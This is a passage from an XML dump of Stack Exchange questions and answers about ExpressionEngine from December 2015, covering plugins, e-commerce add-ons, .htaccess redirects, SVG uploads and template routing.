LastEditDate="2015-12-19T08:55:46.617" LastActivityDate="2015-12-19T08:55:46.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35097" PostTypeId="1" AcceptedAnswerId="35099" CreationDate="2015-12-19T10:39:38.023" Score="0" ViewCount="281" Body="&lt;p&gt;There used to be all kinds of plugins for EE 2 that let you shorten a variable (or any string, really), some from EllisLab as well as a number of third-party ones. Some let you specify the number of words, some were even HTML aware, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options at this point for working with EE 3? I haven't seen one of them converted. Do I really have to use raw PHP?&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-01-26T10:20:37.317" Title="Truncate string with EE 3" Tags="|plugin|ee3|string|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35099" PostTypeId="2" ParentId="35097" CreationDate="2015-12-20T12:00:13.063" Score="1" Body="&lt;p&gt;I was going to convert them for you, when I found that both &lt;a href=&quot;https://github.com/EllisLab/HTML-Attribute-Content/tree/master&quot; rel=&quot;nofollow&quot;&gt;HTML-Attribute-Content&lt;/a&gt; and &lt;a href=&quot;https://github.com/EllisLab/Word-Limit/tree/master&quot; rel=&quot;nofollow&quot;&gt;Word-Limit&lt;/a&gt; already have compatible branchs.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-12-20T12:00:13.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35100" PostTypeId="2" ParentId="35055" CreationDate="2015-12-20T15:25:46.790" Score="1" Body="&lt;p&gt;What you describe is perfectly possible to do without using Zoo Visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a &quot;members only&quot; section of your website you only need to specify that the template(s) is/are only accessible to a particular member group. Or you could use some conditional logic with a template to show/hide content based on member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage that Zoo Visitor gives is that it will create an entry for each member account. This entry can have additional field types that it's not possible to add to a normal member account.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-12-20T15:25:46.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35101" PostTypeId="1" CreationDate="2015-12-21T13:29:58.483" Score="1" ViewCount="708" Body="&lt;p&gt;Is there a way of exporting all products and data to a CSV file from carthrob expression engine v2.8.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="6944" LastEditorUserId="7774" LastEditDate="2017-05-25T15:31:22.383" LastActivityDate="2017-05-25T15:31:22.383" Title="Exporting Products to a CSV" Tags="|cartthrob|export|csv|product|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35102" PostTypeId="2" ParentId="35101" CreationDate="2015-12-21T14:45:28.583" Score="2" Body="&lt;p&gt;I don't know of any particular 3rd party add-ons that are crafted to specifically export Cart Throb data, but it's a pretty cut-and-dry process to output a MySQL table to CSV. You can use a tool like Sequel Pro (OS X) or MySQL Workbench (Windows, Linux) to select your data with a query and then save the query results as a CSV file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you require something easier to work with or more integrated with ExpressionEngine, there might be an add-on to help, but I personally don't know of one. Datagrab might have integration with Cart Throb. Hopefully someone else can chime in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process of crafting a PHP script or a full EE add-on to export MySQL tables is a pretty trivial development process. It might take some time to get right but it's not complex at all. Consider going for it (assuming you are a developer)!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-12-21T14:51:59.517" LastActivityDate="2015-12-21T14:51:59.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35104" PostTypeId="1" AcceptedAnswerId="35107" CreationDate="2015-12-21T16:12:23.063" Score="0" ViewCount="58" Body="&lt;p&gt;Expresso Store add quantity to product modifiers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a product with 2 modifiers.  ie: an event with adult and child prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a product so you can add to the cart and say I want # of adults and # of children click add to cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to have 2 separate products for children and adults.  Is this possible to add a qty to each modifier?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-12-21T17:46:27.797" Title="Expresso Store add quantity to product modifiers" Tags="|expresso-store|devdemon|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35105" PostTypeId="1" CreationDate="2015-12-21T16:38:53.830" Score="1" ViewCount="153" Body="&lt;p&gt;I'm running into a bizarre issue with EE that I've never noticed before (using v2.10.1). I'm using a &quot;justified&quot; grid where you set your column container to text-align: justify, give them the right width and they float themselves without having to deal with margins and all that mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works great in my static code until I start using channel:entries loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it should look:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-wrapper col2&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;col&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;col&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, whenever I put the columns in a channel loop and use some sort of conditional statement, EE is stripping the whitespace and the end of each column so that they all end up on the same line which totally jacks up the spacing/floating that the justified grid does. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-wrapper col2&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;channel&quot;} &#xA;   {if any_conditional}{/if}&#xA;     &amp;lt;div class=&quot;col&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-wrapper col2&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;col&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;col&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding an &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; after the last dive inside the channel loop, and that helps, but it adds extra space and makes the grid end up being off enough that it's really frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here? Is there a way to make EE stop stripping this linebreak/whitespace out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2016-07-08T19:16:19.543" Title="Channel Loops, Conditional Statements, Grids and Whitespace" Tags="|channel-entries|conditionals|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35106" PostTypeId="2" ParentId="35101" CreationDate="2015-12-21T16:50:11.050" Score="2" Body="&lt;p&gt;Try &lt;a href=&quot;https://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/ajw-export&lt;/a&gt;. I recently used it to export Store products.&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2015-12-21T16:50:11.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35107" PostTypeId="2" ParentId="35104" CreationDate="2015-12-21T17:46:27.797" Score="0" Body="&lt;p&gt;There are a couple ways that you could do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first would be to create 2 different modifiers One called Adult and one called Child using the variation modifier. Then you will want to create 0-10 or however many tickets you want with `price * quantity in the field. This would allow a user to add say 5 adult tickets and 3 child tickets all in a single action. This is not how I would do it personally because it doesnt allow you to use the built in limit stock variables and logic and lumps the total tickets prices to the main product which I find confusing to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second option would be to create a single variation modifier with Child &amp;amp; Adult types and set the price for each. Then in your template you would have the user select the ticket type, enter the quantity and then submit to add the product to the cart. In this case I would do this via AJAX so that the user could easily then select the other option and add any of that ticket type to the cart as well. This allows for use of Stores built in limit stock functionality which is usually important when you are selling tickets. I have seen this taken a bit further where the developer duplicated the channel entries tag and wrapped it in the product_form_tag then in his template he had the same product with the modifiers already selected (based on different conditionals in his duplicated channel entries tag) so it allowed the user to add both ticket types to the cart in the same submit.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-21T17:46:27.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35108" PostTypeId="1" CreationDate="2015-12-21T22:01:11.753" Score="0" ViewCount="194" Body="&lt;p&gt;I just started getting an internal server error on a site that has been running fine for weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to access a page that has a Freeform form on it, I get a server error &amp;amp; I am also no longer able to login to the control panel at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I switched debug to 2 in my config file and this is the error I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1205&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lock wait timeout exceeded; try restarting transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE FROM &lt;code&gt;exp_freeform_params&lt;/code&gt; WHERE &lt;code&gt;entry_date&lt;/code&gt; &amp;lt; 1450727583&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/freeform/models/freeform_model.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 538&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here? Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2016-05-29T08:34:37.710" Title="500 Internal Server Error with Freeform" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35112" PostTypeId="1" AcceptedAnswerId="35135" CreationDate="2015-12-22T16:43:49.397" Score="2" ViewCount="58" Body="&lt;p&gt;I'm experiencing a confusing problem that I've narrowed down to a custom status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a status for a channel with the following options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;/li&gt;&#xA;&lt;li&gt;Close&lt;/li&gt;&#xA;&lt;li&gt;Spec&lt;/li&gt;&#xA;&lt;li&gt;Sold&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can save an entry in this channel just fine for all statuses except for &quot;Sold&quot;. When I save an entry with a status of Sold I get this error in the CP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;&#xA;Parser State: Invalid Condition: Not enough operands for operator ” != “.&#xA;&#xA;In on line 68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how the error doesn't tell me which template contains the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, if I change the status of Sold to a lower case S as in &quot;sold&quot;, then it works correctly and I can save the entry without getting the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also say, even though I get the error, the entry is in fact saved. I don't get any PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this even stranger, I'm using MSM and I only get this error on the default site, not the other two which use the same templates and statuses. This makes me suspect the error message isn't accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE2.10.1. Thanks for you help in advance.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2015-12-24T17:46:35.273" Title="Conditional Error when saving an entry in the CP cause by status" Tags="|control-panel|error|status|entry|saving|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35113" PostTypeId="1" CreationDate="2015-12-22T17:11:43.910" Score="0" ViewCount="69" Body="&lt;p&gt;I am testing Expresso Store with Authorize.net. I have the API login ID and Transaction key entered in correctly but I am receiving the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERROR: (TESTMODE) The merchant login ID or password is invalid or the account is inactive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contacted Authorize.et and they said to make sure that we are posting request to the correct URL and provided this link: &lt;a href=&quot;https://support.authorize.net/authkb/index?page=content&amp;amp;id=A415&amp;amp;actp=search&amp;amp;viewlocale=en_US&amp;amp;searchid=1450803628869&quot; rel=&quot;nofollow&quot;&gt;https://support.authorize.net/authkb/index?page=content&amp;amp;id=A415&amp;amp;actp=search&amp;amp;viewlocale=en_US&amp;amp;searchid=1450803628869&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-12-22T17:11:43.910" Title="Expresso Store Test Mode Error" Tags="|expresso-store|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35114" PostTypeId="2" ParentId="35108" CreationDate="2015-12-22T18:02:15.300" Score="0" Body="&lt;p&gt;It seems this was just a temporary server issue that worked itself out.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-12-22T18:02:15.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35115" PostTypeId="1" CreationDate="2015-12-22T19:11:09.927" Score="0" ViewCount="81" Body="&lt;p&gt;Has anyone ever seen the ability to make shipping optional in Cart Throb?  What I am looking for is an option to have an order shipped or pick it up in store and not pay the shipping cost?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="7774" LastEditDate="2017-05-25T15:31:44.793" LastActivityDate="2017-05-25T15:31:44.793" Title="cartthrob make shipping optional" Tags="|cartthrob|shipping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35116" PostTypeId="1" AcceptedAnswerId="35118" CreationDate="2015-12-22T19:43:47.343" Score="0" ViewCount="43" Body="&lt;p&gt;I have a client who would like an entire EE site to be archived and delivered to them in it's current state. What would be the appropriate steps to complete this?&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="6825" LastEditDate="2015-12-22T22:31:15.067" LastActivityDate="2015-12-22T22:31:15.067" Title="Archiving entire EE site" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35117" PostTypeId="2" ParentId="35116" CreationDate="2015-12-22T20:24:43.143" Score="0" Body="&lt;p&gt;Everything should be in the database, so a copy of that would be good start. You'll also want to backup the files, particularly images and other uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do you mean a static (spidered) version? That's not easy, since EE by definition is a dynamic system.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-22T20:24:43.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35118" PostTypeId="2" ParentId="35116" CreationDate="2015-12-22T21:28:44.003" Score="1" Body="&lt;p&gt;Under most conditions, you only need a few things. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A complete dump of the database.&lt;/li&gt;&#xA;&lt;li&gt;A complete archive of the EE site's web root.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any important environment configuration files. This would usually include (on linux):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/apache2/httpd.conf&#xA;/etc/apache2/sites-enabled/my-site.conf&#xA;/etc/php5/php.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As well as some others. Under the most common setups, you usually just need the first two. It really depends on the setup of the site. Some people host their php agent with Nginx or IIS. For most it's a LAMP stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your client isn't a techie or doesn't have a developer or engineer on staff, you should warn them it might be difficult for them to redeploy the site on their own.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-22T21:28:44.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35119" PostTypeId="1" AcceptedAnswerId="35121" CreationDate="2015-12-22T22:39:54.697" Score="0" ViewCount="422" Body="&lt;p&gt;I am using the following in my .htaccess file to remove index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;# Removes index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;# Redirect non-www to www&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L] &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to redirect an old page to a new, existing page but I am getting strange results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the following to the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /Payment.aspx /clients/login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the url it redirects to looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.myurl.com/clients/login?/Payment.aspx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is adding that extra query string to the end of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way around this?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-12-22T22:57:16.210" Title="Removing index.php &amp; 301 redirects" Tags="|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35120" PostTypeId="2" ParentId="22154" CreationDate="2015-12-22T22:50:38.117" Score="0" Body="&lt;p&gt;I had this same issue and discovered that having Output Profiler and Template Debugging set to 'On' created additional elements that caused the syntax errors that broke my Grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is that no public or non-Super Admin account would see this.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2015-12-22T22:50:38.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35121" PostTypeId="2" ParentId="35119" CreationDate="2015-12-22T22:57:16.210" Score="0" Body="&lt;p&gt;When people hit your &lt;code&gt;/Payment.aspx&lt;/code&gt; path, will they sometimes be linked with a query string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for best results, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 (?i)^/Payment.aspx https://www.full-domain.com/clients/login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which I'm 99% sure won't work if you &lt;strong&gt;do&lt;/strong&gt; have query strings when you hit that payment path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really want is a &lt;code&gt;RewriteRule&lt;/code&gt; and then just drop query strings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^payment\.aspx$ /clients/login? [L,R=301,NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trailing question mark should strip off any original query strings. The flags set it for 301, Last, and NoCase (ignore upper vs lower case &lt;code&gt;payment.aspx&lt;/code&gt; variations. If the question mark doesn't do it, add a &lt;code&gt;QSD&lt;/code&gt; flag (query string drop). That flag (QSD), I think, was introduced somewhat recently in mod_rewrite, so it may not be available in older versions and less maintenanced servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this is dangerously close to not being EE related, but since you posted your EE related rewrites, I figured it was just close enough :p&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-22T22:57:16.210" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35122" PostTypeId="1" CreationDate="2015-12-22T22:58:32.370" Score="0" ViewCount="191" Body="&lt;p&gt;Are there any plans to upgrade Wygwam to be compatible with ExpressionEngine 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, any recommendations or issues on upgrading to EE3 and changing editors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Carol &lt;/p&gt;&#xA;" OwnerUserId="6544" LastActivityDate="2015-12-22T23:12:43.327" Title="Wygwam and ExpressionEngine 3" Tags="|wygwam|ee3|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-24T16:13:01.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="35123" PostTypeId="2" ParentId="35058" CreationDate="2015-12-22T23:07:56.487" Score="0" Body="&lt;p&gt;Please consider the following answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing through your favorite editor -&gt; faster&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enables you to version your files with a VCS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can DIFF files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easier to maintain code markup/layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly slower because EE needs to check the files for a new version (i guess it only uses the file versions in the latest EE releases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be a lot slower on a provider with a slow file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Synchronization hassle&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2015-12-22T23:07:56.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35124" PostTypeId="2" ParentId="35122" CreationDate="2015-12-22T23:12:43.327" Score="1" Body="&lt;p&gt;According to Brandon Kelly, it is supposed to be on its way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/pixelandtonic/status/654257322189950976&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/pixelandtonic/status/654257322189950976&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think they have a published road map for EE3 add-ons yet. Personally, I wouldn't start any new site with EE3 just yet, and every license you buy is active for EE2.10.1 for the time being. Anytime there is a left-of-the-dot change, there is a long period of uptake. They dropped CI as a core engine for EE, so it's possible there are a lot of little changes that make it harder to upgrade add-ons. Also, P&amp;amp;T (Brandon Kelly) is pretty busy with Craft CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this list for EE3 compatible add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Expresso is planing on an  early 2016 release of Expresso, a competing CKEditor based editor, for EE3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.putyourlightson.net/roadmap&quot; rel=&quot;nofollow&quot;&gt;https://www.putyourlightson.net/roadmap&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-12-22T23:12:43.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35125" PostTypeId="2" ParentId="27251" CreationDate="2015-12-23T10:12:50.473" Score="0" Body="&lt;p&gt;If you have the &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; add-on installed and have the &quot;Redirect to Structure on login&quot; preference set to &quot;yes,&quot; you may need to update to the latest version of Structure.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-12-23T10:12:50.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35127" PostTypeId="2" ParentId="34711" CreationDate="2015-12-23T18:26:33.013" Score="2" Body="&lt;p&gt;I just gave it a shot and it looked like the install worked fine, but the control panel loaded up with a bunch of errors. It looked like they could likely have been suppressed by turning off E_NOTICE or changing E_STRICT in error reporting since they didn't look like errors that would stop anything from working.&lt;/p&gt;&#xA;" OwnerUserId="6950" LastActivityDate="2015-12-23T18:26:33.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35128" PostTypeId="1" CreationDate="2015-12-23T18:48:00.993" Score="2" ViewCount="936" Body="&lt;p&gt;I'm trying to allow SVG uploads via the file fieldtype (EE 2.9.2), but it gives me an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The file type you are attempting to upload is not allowed. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have updated mimes.php with the following additions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'svgz' =&amp;gt; 'image/svg+xml',&#xA;'svg' =&amp;gt; 'image/svg+xml'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this has made no difference. I have also tried disabling XSS filtering in the EE CP - also does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I added the following to config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allowed_types'] = 'svg';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this does not work either. How can I get this working?&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2017-01-19T13:50:42.717" Title="Allow SVG upload in EE" Tags="|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35129" PostTypeId="2" ParentId="32240" CreationDate="2015-12-23T18:55:31.303" Score="0" Body="&lt;p&gt;This issue can happen if you have P&amp;amp;T Assets module and you try to upload &amp;amp; replace the file in EE file manager. This bug was reported to P&amp;amp;T at Sep 10, confirmed for fixing in next release.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a solution - disable assets hook for &lt;code&gt;files_after_delete&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorDisplayName="user3901" LastEditDate="2016-10-24T20:23:50.000" LastActivityDate="2016-10-24T20:23:50.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35130" PostTypeId="1" AcceptedAnswerId="35136" CreationDate="2015-12-24T02:50:07.603" Score="0" ViewCount="110" Body="&lt;p&gt;I'm using EE 3.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template:&#xA;store/location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a third segment, additional information is displayed via a conditional:&#xA;store/location/coupon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template route is set to:&#xA;/location/{coupon:alpha_dash}  Require all Segments? = NO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to access /location, I get a 404 Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the additional segment, /location/coupon, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I display the template without the last segment, /location?  Shouldn't Require all Segments? = NO allow the url without the last segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="2703" LastActivityDate="2015-12-25T17:03:47.170" Title="Template Routes" Tags="|template-routes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35133" PostTypeId="2" ParentId="35039" CreationDate="2015-12-24T09:33:59.113" Score="0" Body="&lt;p&gt;I set the checkboxes to &quot;non required&quot; and I had to make sure the checkboxes can include the values for TRUE and FALSE.&lt;/p&gt;&#xA;" OwnerUserId="6794" LastActivityDate="2015-12-24T09:33:59.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35135" PostTypeId="2" ParentId="35112" CreationDate="2015-12-24T17:46:35.273" Score="0" Body="&lt;p&gt;I didn't get a complete fix for this problem, but I figured out a work around. Basically, I changed my status to a lower case &quot;sold&quot; and then changed this in the database for all entries with this status. Doing this eliminated the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doesn't answer the question of why an uppercase S was causing this error, but I at least got it working again.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2015-12-24T17:46:35.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35136" PostTypeId="2" ParentId="35130" CreationDate="2015-12-25T17:03:47.170" Score="0" Body="&lt;p&gt;It might be related not to Routes, but to template/URL rules in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in your template preferences you have enabled 'Strict URLs' then at least 2 URL segments are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try overriding this by adding special route for /location&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-12-25T17:03:47.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
